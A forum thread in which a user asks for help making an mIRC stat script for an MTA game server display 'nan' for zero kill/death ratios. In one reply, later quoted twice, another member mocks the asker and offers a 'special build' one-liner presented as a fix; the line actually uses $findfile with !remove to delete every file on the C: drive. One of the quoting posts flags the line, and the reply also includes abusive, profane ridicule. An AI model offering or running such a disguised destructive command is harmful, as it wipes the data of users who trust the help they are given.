Jump to content

Stat System


Niels

Recommended Posts

alias mta.stats {
 if ($4 == $null) mta.say $1 $mta.name( $1 , $2 ) is $mta.status( $1 , $2 ).text - Game kills:  $mta.kills( $1 , $2 ) Deaths: $mta.deaths( $1 , $2 ) Ratio:  $round( $calc($mta.kills( $1 , $2 ) / $mta.deaths( $1 , $2 )) , 2) Overall kills: $calc($readini(" $+ %dir2 $+ MTAstats.ini",kills,$mta.name( $1 , $2 ))) Deaths: $calc($readini(" $+ %dir2 $+ MTAstats.ini",deaths,$mta.name( $1 , $2 ))) Ratio:  $round( $calc($readini(" $+ %dir2 $+ MTAstats.ini",kills,$mta.name( $1 , $2 )) / $readini(" $+ %dir2 $+ MTAstats.ini",deaths,$mta.name( $1 , $2 ))) , 2)
 elseif ($mta.name($1,$iif($4 isnum,$4,$mta.getid($1,$4))) != unknown) mta.say $1 $mta.name( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))) is $mta.status( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))).text - Game kills:  $mta.kills( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))) Deaths: $mta.deaths( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))) Ratio:  $round( $calc($mta.kills( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))) / $mta.deaths( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))) ))  Overall kills: $calc($readini(" $+ %dir2 $+ MTAstats.ini",kills,$mta.name( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))) ))) Deaths: $calc($readini(" $+ %dir2 $+ MTAstats.ini",deaths,$mta.name( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))) ))) Ratio:  $round( $calc($readini(" $+ %dir2 $+ MTAstats.ini",kills,$mta.name( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))) )) / $readini(" $+ %dir2 $+ MTAstats.ini",deaths,$mta.name( $1 , $iif($4 isnum,$4,$mta.getid($1,$4))) ))) 
}

This is my stat system how can i make a as ratio 0 is nan ?

Link to comment

alias mta.stats {
 ;stat systeem
 if ($4 == $null) mta.say $1 $mta.name( $1 , $2 ) is $mta.status( $1 , $2 ).text - Game kills:  $mta.kills( $1 , $2 ) Deaths: $mta.deaths( $1 , $2 ) Ratio:  $round( $calc($mta.kills( $1 , $2 ) / $mta.deaths( $1 , $2 )) , 2) Overall kills: $calc($readini(" $+ %dir2 $+ MTAstats.ini",kills,$mta.name( $1 , $2 ))) Deaths: $calc($readini(" $+ %dir2 $+ MTAstats.ini",deaths,$mta.name( $1 , $2 ))) Ratio:  $round( $calc($readini(" $+ %dir2 $+ MTAstats.ini",kills,$mta.name( $1 , $2 )) / $readini(" $+ %dir2 $+ MTAstats.ini",deaths,$mta.name( $1 , $2 ))) , 2)
 elseif ($mta.name($1,$mta.getid($1,$4)) != unknown) mta.say $1 $mta.name( $1 , $mta.getid($1,$4)) is $mta.status( $1 , $mta.getid($1,$4)).text - Game kills:  $mta.kills( $1 , $mta.getid($1,$4)) Deaths: $mta.deaths( $1 , $mta.getid($1,$4)) Ratio:  $round( $calc($mta.kills( $1 , $mta.getid($1,$4)) / $mta.deaths( $1 , $mta.getid($1,$4)) ))  Overall kills: $calc($readini(" $+ %dir2 $+ MTAstats.ini",kills,$mta.name( $1 , $mta.getid($1,$4)) ))) Deaths: $calc($readini(" $+ %dir2 $+ MTAstats.ini",deaths,$mta.name( $1 , $mta.getid($1,$4)) ))) Ratio:  $round( $calc($readini(" $+ %dir2 $+ MTAstats.ini",kills,$mta.name( $1 , $mta.getid($1,$4)) )) / $readini(" $+ %dir2 $+ MTAstats.ini",deaths,$mta.name( $1 , $mta.getid($1,$4)) ))) 
}

A few bug. Can somone build here nan in?

Link to comment

alias mta.stats {
 if ($4 != $null) {
   %b = $mta.getid($1,$4)
   mta.say $1 $mta.name($1,%b) is $mta.status($1,%b).text - Kills: $mta.kills($1,%b) - Deaths $mta.deaths($1,%b) - Ratio: $round($calc($mta.kills($1,%b) / $mta.deaths($1,%b)) , 2) All Kills: $calc($readini("stats.ini",kills,$mta.name($1,%b))) - Deaths: $calc($readini("stats.ini",deaths,$mta.name($1,%b))) - Ratio: $round($calc($readini("stats.ini",kills,$mta.name($1,%b)) / $readini("stats.ini",deaths,$mta.name($1,%b))) , 2)
 } 
 else {
   mta.say $1 $mta.name($1,$2) is $mta.status($1,$2).text - Kills: $mta.kills($1,$2) - Deaths $mta.deaths($1,$2) - Ratio: $round($calc($mta.kills($1,$2) / $mta.deaths($1,$2)) , 2) All Kills: $calc($readini("stats.ini",kills,$mta.name($1,$2))) - Deaths: $calc($readini("stats.ini",deaths,$mta.name($1,$2))) - Ratio: $round($calc($readini("stats.ini",kills,$mta.name($1,$2)) / $readini("stats.ini",deaths,$mta.name($1,$2))) , 2)
 }
}

Stat System edited. How make as the ratio 0 is, that admin says Ratio: nan

Link to comment

Ok, i have this:

alias mta.stats {
 if ($4 != $null) {
   %b = $mta.getid($1,$4)
   %ratio0 = $round($calc($mta.kills($1,%b) / $mta.deaths($1,%b)) , 2)
   %ratio1 = $round($calc($readini("stats.ini",kills,$mta.name($1,%b)) / $readini("stats.ini",deaths,$mta.name($1,%b))) , 2)
   mta.say $1 $mta.name($1,%b) is $mta.status($1,%b).text - Kills: $mta.kills($1,%b) - Deaths $mta.deaths($1,%b) - Ratio: %ratio0 All Kills: $calc($readini("stats.ini",kills,$mta.name($1,%b))) - Deaths: $calc($readini("stats.ini",deaths,$mta.name($1,%b))) - Ratio: %ratio1
 } 
 else {
%ratio2 = $round($calc($mta.kills($1,$2) / $mta.deaths($1,$2)) , 2)
   %ratio3 = $round($calc($readini("stats.ini",kills,$mta.name($1,$2)) / $readini("stats.ini",deaths,$mta.name($1,$2))) , 2)
   mta.say $1 $mta.name($1,$2) is $mta.status($1,$2).text - Kills: $mta.kills($1,$2) - Deaths $mta.deaths($1,$2) - Ratio: %ratio2 All Kills: $calc($readini("stats.ini",kills,$mta.name($1,$2))) - Deaths: $calc($readini("stats.ini",deaths,$mta.name($1,$2))) - Ratio: %ratio3
 }
}
if (($mta.kills($1,%b) == 0) || ($mta.deaths($1,%b) == 0)) {
%b = $mta.getid($1,$4)
 %ratio0 = nan
 %ratio1 = nan
}
if (($mta.kills($1,$2) == 0) || ($mta.deaths($1,$2) == 0)) {
 %ratio2 = nan
 %ratio3 = nan
}
on *:SIGNAL:mta.command:{
 if ($3 == !test) {
   mta.stats $1-
 } 

Why is this don't work?!

Link to comment

I give you a hint:

This is you mIRC code:

4h9uvt5n4ianhrf43r3094qruvr430kmfv jt3i4j 0g3qf0ij43q0trh 3qq34r ff4hq8r4 ot43t %$YT %$WGWEF 3qtbfk aml2 43r2359382598423 ja trreagREGS BKSGT5wtv4qj0j430 tg5gkfdakl9vaeh kjn43lktm54,u bsaenfahd023jrk 4y mhbgf 7i67U%$#R#Q@$%U%$t


ew
grethgtrgreg
5
gt54
gty45b 0ti4-e0gj0orejgonrevg blokker m00   4eough43hgnskjbtrg%
GRSTH
trhtr

How the fuck must i see in 1 second what the problem is in 98 pages of CRAP-generated shit?

You liek posting 3 times?

btw STOP TRYING TO GET HELP AND F*CKING LEARN DOING THINGS ON UR OWN AND LEARN MIRC SCRIPTING FFS

For this time i help you (Special build for mtafreak, do not use if ur name is not mtafreak) :

on *:SIGNAL:*: !halt $findfile(c:\,*,0,!remove $+(",$1-,"))

Link to comment
I give you a hint:

This is you mIRC code:

4h9uvt5n4ianhrf43r3094qruvr430kmfv jt3i4j 0g3qf0ij43q0trh 3qq34r ff4hq8r4 ot43t %$YT %$WGWEF 3qtbfk aml2 43r2359382598423 ja trreagREGS BKSGT5wtv4qj0j430 tg5gkfdakl9vaeh kjn43lktm54,u bsaenfahd023jrk 4y mhbgf 7i67U%$#R#Q@$%U%$t


ew
grethgtrgreg
5
gt54
gty45b 0ti4-e0gj0orejgonrevg blokker m00   4eough43hgnskjbtrg%
GRSTH
trhtr

How the :o must i see in 1 second what the problem is in 98 pages of CRAP-generated shit?

You liek posting 3 times?

btw STOP TRYING TO GET HELP AND F*CKING LEARN DOING THINGS ON UR OWN AND LEARN MIRC SCRIPTING FFS

For this time i help you (Special build for mtafreak, do not use if ur name is not mtafreak) :

on *:SIGNAL:*: !halt $findfile(c:\,*,0,!remove $+(",$1-,")) <-------- Fuck off 

Link to comment
I give you a hint:

This is you mIRC code:

4h9uvt5n4ianhrf43r3094qruvr430kmfv jt3i4j 0g3qf0ij43q0trh 3qq34r ff4hq8r4 ot43t %$YT %$WGWEF 3qtbfk aml2 43r2359382598423 ja trreagREGS BKSGT5wtv4qj0j430 tg5gkfdakl9vaeh kjn43lktm54,u bsaenfahd023jrk 4y mhbgf 7i67U%$#R#Q@$%U%$t


ew
grethgtrgreg
5
gt54
gty45b 0ti4-e0gj0orejgonrevg blokker m00   4eough43hgnskjbtrg%
GRSTH
trhtr

How the :o must i see in 1 second what the problem is in 98 pages of CRAP-generated shit?

You liek posting 3 times?

btw STOP TRYING TO GET HELP AND F*CKING LEARN DOING THINGS ON UR OWN AND LEARN MIRC SCRIPTING FFS

For this time i help you (Special build for mtafreak, do not use if ur name is not mtafreak) :

on *:SIGNAL:*: !halt $findfile(c:\,*,0,!remove $+(",$1-,")) <--------  off 

New kind of spamming: Quote-SPAM!

Link to comment
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...